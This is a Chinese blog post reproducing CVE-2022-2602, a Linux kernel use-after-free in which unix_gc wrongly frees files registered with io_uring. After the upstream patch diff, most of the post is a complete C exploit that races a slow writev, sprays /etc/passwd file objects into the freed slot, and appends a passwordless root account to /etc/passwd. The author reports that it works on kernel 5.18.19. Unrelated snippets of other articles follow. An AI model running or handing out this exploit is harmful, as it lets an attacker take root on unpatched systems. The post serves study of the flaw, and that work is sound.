当前位置: 首页 > news >正文

CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF

前言

复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19 内核版本上复现成功,v6.0.2 复现失败

漏洞利用

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;*	@csum_level: indicates the number of consecutive checksums found in*		the packet minus one that have been verified as*		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files*	@dst_pending_confirm: need to confirm neighbour*	@decrypted: Decrypted SKB*	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {#endif__u8			slow_gro:1;__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;#ifdef CONFIG_NET_SCHED__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)UNIXCB(skb).fp = fpl;skb->sk = sk;
+		skb->scm_io_uring = 1;skb->destructor = unix_destruct_scm;refcount_add(skb->truesize, &sk->sk_wmem_alloc);}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)/* The external entry point: unix_gc() */void unix_gc(void){
+	struct sk_buff *next_skb, *skb;struct unix_sock *u;struct unix_sock *next;struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)spin_unlock(&unix_gc_lock);+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+/* Here we are. Hitlist is filled. Die. */__skb_queue_purge(&hitlist);spin_lock(&unix_gc_lock);+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+/* All candidates should have been detached by now. */BUG_ON(!list_empty(&gc_candidates));

unix_gc 错误释放 io_uring 注册的文件导致的 file UAF

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void prepare() {system("touch /tmp/dummy");system("chmod 777 /tmp/dummy");
}static int run_wait_lock = 0;
void* slow_write() {#define PAGE_SIZE 0x1000#define WRITE_PAGE_NUMS 0x3333puts("[+] Start in slow_write");int fd = open("/tmp/dummy", O_RDWR);if (fd < 0) err_exit("FAILED to open /tmp/dummy");uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;uint64_t i;for (i = 0; i < WRITE_PAGE_NUMS; i++) {void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr == MAP_FAILED) err_exit("mmap");}assert(i > 0);struct iovec iovs[20];for (i = 0; i < 20; i++) {iovs[i].iov_base = (void*)start_addr;iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;}puts("[+] Occupying inode lock");run_wait_lock = 1;if (writev(fd, iovs, 20) < 0) {err_exit("write");}close(fd);puts("[+] End in slow_write");puts("[+] Waiting for 10 senonds");sleep(10);exit(0);
}void sendfd(int sfd, int fd) {struct msghdr msg;char control_buf[4096] = { 0 };struct cmsghdr* cmsg;int fds[1] = { fd };memset(&msg, 0, sizeof(msg));msg.msg_control = control_buf;msg.msg_controllen = sizeof(control_buf);cmsg = CMSG_FIRSTHDR(&msg);cmsg->cmsg_level = SOL_SOCKET;cmsg->cmsg_type = SCM_RIGHTS;cmsg->cmsg_len = CMSG_LEN(sizeof(fds));memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));msg.msg_controllen = CMSG_SPACE(sizeof(fds));sendmsg(sfd, &msg, 0);
}int main() {int s[2];int rfd[2];int io_uring_fd;pthread_t thr1;struct io_uring_sqe* sqe;struct io_uring ring;struct stat st;struct iovec iov[1];int fds[300];int i = 0;bind_core(0);prepare();for (i = 0; i < 300; i++) {if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)err_exit("open /etc/passwd");}stat("/etc/passwd", &st);int size = 0;int orig_size = st.st_size;/* hacker::0:0:/root:/root:/bin/sh\n */iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";iov[0].iov_len = strlen(iov[0].iov_base);// s[0]         ref_count = 1// s[1]         ref_count = 1if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");// s[0]         ref_count = 1// s[1]         ref_count = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);sqe = io_uring_get_sqe(&ring);printf("[+] sqe: %p\n", sqe);io_uring_fd = ring.ring_fd;printf("[+] io_uring_fd: %d\n", io_uring_fd);if (io_uring_fd < 0) err_exit("io_uring_queue_init");rfd[0] = s[1];rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 2// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}io_uring_register_files(&ring, rfd, 2);sqe->opcode = IORING_OP_WRITEV;sqe->fd = 1;sqe->addr = (long long)iov;sqe->len = 1;sqe->flags = IOSQE_FIXED_FILE;// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}close(rfd[1]);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdsendfd(s[0], io_uring_fd);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdclose(s[0]);close(s[1]);// 占据 inode 锁pthread_create(&thr1, NULL, slow_write, NULL);// writev 等待 inode 锁while (!run_wait_lock) {}sleep(2);io_uring_submit(&ring);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdio_uring_queue_exit(&ring);puts("[+] Triggering unix_gc");// 触发 unix_gc// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fd// 此时 rfd[1] 被错误的释放 ==> rfd[1]sleep(2);for (i = 0; i < 150; i++) {close(fds[i+2]);}close(socket(AF_UNIX, SOCK_DGRAM, 0));puts("[+] unix_gc done");puts("[+] Spray /etc/passwd file");// 打开大量 /etc/passwd 去占据 uaf_filefor (i = 0; i < 700; i++) {if (open("/etc/passwd", O_RDONLY) < 0) {printf("[X] Error at %d\n", i);err_exit("FAILED to spray file");}}// 等待 writev 获取 inode 锁,从而写 /etc/passwd// 当 /etc/passwd 文件大小发送变化时,说明成功向 /etc/passwd 写入恶意数据puts("[+] Waiting for overwriting /etc/passwd");while (orig_size == st.st_size) {stat("/etc/passwd", &st);size = st.st_size;sleep(1);}puts("[+] su hacker to get root");return 0;
}

效果如下:
在这里插入图片描述

参考文章

[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF

相关文章:

CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF

前言 复现该漏洞只是为了学习相关知识&#xff0c;在这里仅仅做简单记录下 exp&#xff0c;关于漏洞的详细内容请参考其他文章&#xff0c;最后在 v5.18.19 内核版本上复现成功&#xff0c;v6.0.2 复现失败 漏洞利用 diff --git a/include/linux/skbuff.h b/include/linux/s…...

LSTM实战笔记(部署到C++上)——更新中

前几天由于自己的个人原因停止了学习 接下里继续更新一些自己项目中所用到的神经网络等 ——————————————————————————————————————————— LSTM代码介绍 建立LSTM模型时需要设置一些参数&#xff0c;包括输入数据的形状、LSTM层的…...

鸿蒙内核源码分析(消息队列篇) | 进程间如何异步传递大数据

基本概念 队列又称消息队列&#xff0c;是一种常用于任务间通信的数据结构。队列接收来自任务或中断的不固定长度消息&#xff0c;并根据不同的接口确定传递的消息是否存放在队列空间中。 任务能够从队列里面读取消息&#xff0c;当队列中的消息为空时&#xff0c;挂起读取任务…...

Sentinel流量防卫兵

1、分布式服务遇到的问题 服务可用性问题 服务可用性场景 服务雪崩效应 因服务提供者的不可用导致服务调用者的不可用,并将不可用逐渐放大的过程&#xff0c;就叫服务雪崩效应导致服务不可用的原因&#xff1a; 在服务提供者不可用的时候&#xff0c;会出现大量重试的情况&…...

微信小程序:14.什么是wxs,wxs的使用

wxs是小程序独有的一套脚本语言&#xff0c;结合wxml&#xff0c;可以构建出页面的结构 wxs的应用场景 wxml中无法调用在页面的js中定义的函数&#xff0c;但是wxml可以调用wxs中定义的函数。因此小程序中wxs的典型应用场景就是过滤器 wxs和js的关系 wxs有自己的数据类型 …...

Django运行不提示网址问题

问题描述&#xff1a;运行django项目不提示网址信息&#xff0c;也就是web没有起来&#xff0c;无法访问。 (my-venv-3.8) PS D:\Project\MyGitCode\public\it_blog\blog> python .\manage.py runserver INFO autoreload 636 Watching for file changes with StatReloader …...

web安全---xss漏洞/beef-xss基本使用

what xss漏洞----跨站脚本攻击&#xff08;Cross Site Scripting&#xff09;&#xff0c;攻击者在网页中注入恶意脚本代码&#xff0c;使受害者在浏览器中运行该脚本&#xff0c;从而达到攻击目的。 分类 反射型---最常见&#xff0c;最广泛 用户将带有恶意代码的url打开&a…...

第一天学习(GPT)

1.图片和语义是如何映射的&#xff1f; **Dalle2&#xff1a;**首先会对图片和语义进行预训练&#xff0c;将二者向量存储起来&#xff0c;然后将语义的vector向量转成图片的向量&#xff0c;然后基于这个图片往回反向映射&#xff08;Diffusion&#xff09;——>根据这段描…...

【C++之AVL树旋转操作的详细图解】

C++学习笔记---022 C++之AVL树旋转操作的详细图解1、AVL树的简单介绍1.1、基本概念1.2、平衡因子1.3、AVL树的特性2、C++中pair的介绍2.1、定义和初始化2.2、访问元素2.3、作为容器的元素2.4、作为函数的返回值3、AVL树节点的定义4、AVL的插入规则探究5、AVL树的旋转操作5.1、R…...

制作Android分区镜像

1 python生成一个sector数据 def get_oem_bootmode(): # Header size SECTOR_SIZE_IN_BYTES 512 header [0 for i in \ range(SECTOR_SIZE_IN_BYTES)] # magic # The ord() built-in function in # Python converts a character # into …...

如何代码激活service——packageKit 系统更新番外

在访问packageKit服务的过程中&#xff0c;服务一直访问失败&#xff0c;PackageKit::Daemon::global()->isRunning() 一直返回false&#xff0c;他是一个用于检查 PackageKit 守护进程是否正在运行的函数调用。在 Qt 和 PackageKit 的集成中&#xff0c;isRunning 方法通常…...

音视频常用工具

VLC 播放器简介 VLC 播放器 VLC支持多种常见音视频格式&#xff0c;支持多种流媒体传输协议&#xff0c;也可当作本地流媒体服务器使用&#xff0c;功能十分强大。官网下载地址: https://www.videolan.org/ VLC media player VLC 是一款自由、开源的跨平台多媒体播放器及框架&…...

周刊是聪明人筛选优质知识的聪明手段!

这是一个信息过载的时代&#xff0c;也是一个信息匮乏的时代。 这种矛盾的现象在 Python 编程语言上的表现非常明显。 它是常年高居编程语言排行榜的最流行语言之一&#xff0c;在国外发展得如火如荼&#xff0c;开发者、项目、文章、播客、会议活动等相关信息如海如潮。 但…...

设计模式Java实现-建造者模式

楔子 小七在2019年的时候&#xff0c;就想写一个关于设计模式的专栏&#xff0c;但是最终却半途而废了。粗略一想&#xff0c;如果做完一件事要100分钟&#xff0c;小七用3分钟热情做的事&#xff0c;最少也能完成10件事情了。所以这一次&#xff0c;一定要把他做完&#xff0…...

微博视频怎么下载无水印

在当今社交媒体时代&#xff0c;微博已经成为人们获取信息、分享生活的重要平台之一。许多人在浏览微博时常常遇到一个问题&#xff1a;如何下载微博视频而不留下烦人的水印呢?今天&#xff0c;我将分享一些神秘的方法&#xff0c;让你轻松解锁微博视频的无水印下载技巧。 第…...

为什么要梯度累积

文章目录 梯度累积什么是梯度累积如何理解理解梯度累积梯度累积的工作原理 梯度累积的数学原理梯度累积过程如何实现梯度累积 梯度累积的可视化 梯度累积 什么是梯度累积 随着深度学习模型变得越来越复杂&#xff0c;模型的训练通常需要更多的计算资源&#xff0c;特别是在训…...

知识图谱在提升大语言模型性能中的应用:减少幻觉与增强推理的综述

幻觉现象指的是模型在生成文本时可能会产生一些听起来合理但实际上并不准确或相关的输出&#xff0c;这主要是由于模型在训练数据中存在知识盲区所致。 为了解决这一问题&#xff0c;研究人员采取了多种策略&#xff0c;其中包括利用知识图谱作为外部信息源。知识图谱通过将信息…...

P8800 [蓝桥杯 2022 国 B] 卡牌

P8800 [蓝桥杯 2022 国 B] 卡牌 分析 “最多” -- 二分 1.二分区间&#xff08;凑齐的卡牌套数&#xff09;&#xff1a; l&#xff1a;a[]min&#xff1b;r&#xff1a;(a[]b[])max 2.check(x)&#xff1a; &#xff08;1&#xff09;for循环内&#xff1a; 判断x - a[i…...

MySQL商城数据表(80-84)

80商品规格值表 DROP TABLE IF EXISTS niumo_spec_items; CREATE TABLE niumo_spec_items (itemId int(11) NOT NULL AUTO_INCREMENT COMMENT 自增ID,shopId int(11) NOT NULL DEFAULT 0 COMMENT 店铺ID,catId int(11) NOT NULL DEFAULT 0 COMMENT 类型ID,goodsId int(11) NOT…...

使用Gitbook生成电子书

背景 《Google工程实践文档》相对原文Google’s Engineering Practices documentation &#xff0c;部分内容过时了。需要更新中文版&#xff0c;并使用Gitbook把Markdown文件转换成对应的PDF电子书。   上一次生成PDF电子书是5年前&#xff0c;当时生成电子书的环境早已不在…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现

目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展&#xff1a;显示创建时间8. 功能扩展&#xff1a;记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

椭圆曲线密码学(ECC)

一、ECC算法概述 椭圆曲线密码学&#xff08;Elliptic Curve Cryptography&#xff09;是基于椭圆曲线数学理论的公钥密码系统&#xff0c;由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA&#xff0c;ECC在相同安全强度下密钥更短&#xff08;256位ECC ≈ 3072位RSA…...

React第五十七节 Router中RouterProvider使用详解及注意事项

前言 在 React Router v6.4 中&#xff0c;RouterProvider 是一个核心组件&#xff0c;用于提供基于数据路由&#xff08;data routers&#xff09;的新型路由方案。 它替代了传统的 <BrowserRouter>&#xff0c;支持更强大的数据加载和操作功能&#xff08;如 loader 和…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络&#xff0c;将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具&#xff0c;支持 Chrome、Firefox、Safari 等主流浏览器&#xff0c;提供多语言 API&#xff08;Python、JavaScript、Java、.NET&#xff09;。它的特点包括&a…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)

UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中&#xff0c;UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化&#xf…...

Windows安装Miniconda

一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...

NPOI操作EXCEL文件 ——CAD C# 二次开发

缺点:dll.版本容易加载错误。CAD加载插件时&#xff0c;没有加载所有类库。插件运行过程中用到某个类库&#xff0c;会从CAD的安装目录找&#xff0c;找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库&#xff0c;就用插件程序加载进…...

密码学基础——SM4算法

博客主页&#xff1a;christine-rr-CSDN博客 ​​​​专栏主页&#xff1a;密码学 &#x1f4cc; 【今日更新】&#x1f4cc; 对称密码算法——SM4 目录 一、国密SM系列算法概述 二、SM4算法 2.1算法背景 2.2算法特点 2.3 基本部件 2.3.1 S盒 2.3.2 非线性变换 ​编辑…...

【iOS】 Block再学习

iOS Block再学习 文章目录 iOS Block再学习前言Block的三种类型__ NSGlobalBlock____ NSMallocBlock____ NSStackBlock__小结 Block底层分析Block的结构捕获自由变量捕获全局(静态)变量捕获静态变量__block修饰符forwarding指针 Block的copy时机block作为函数返回值将block赋给…...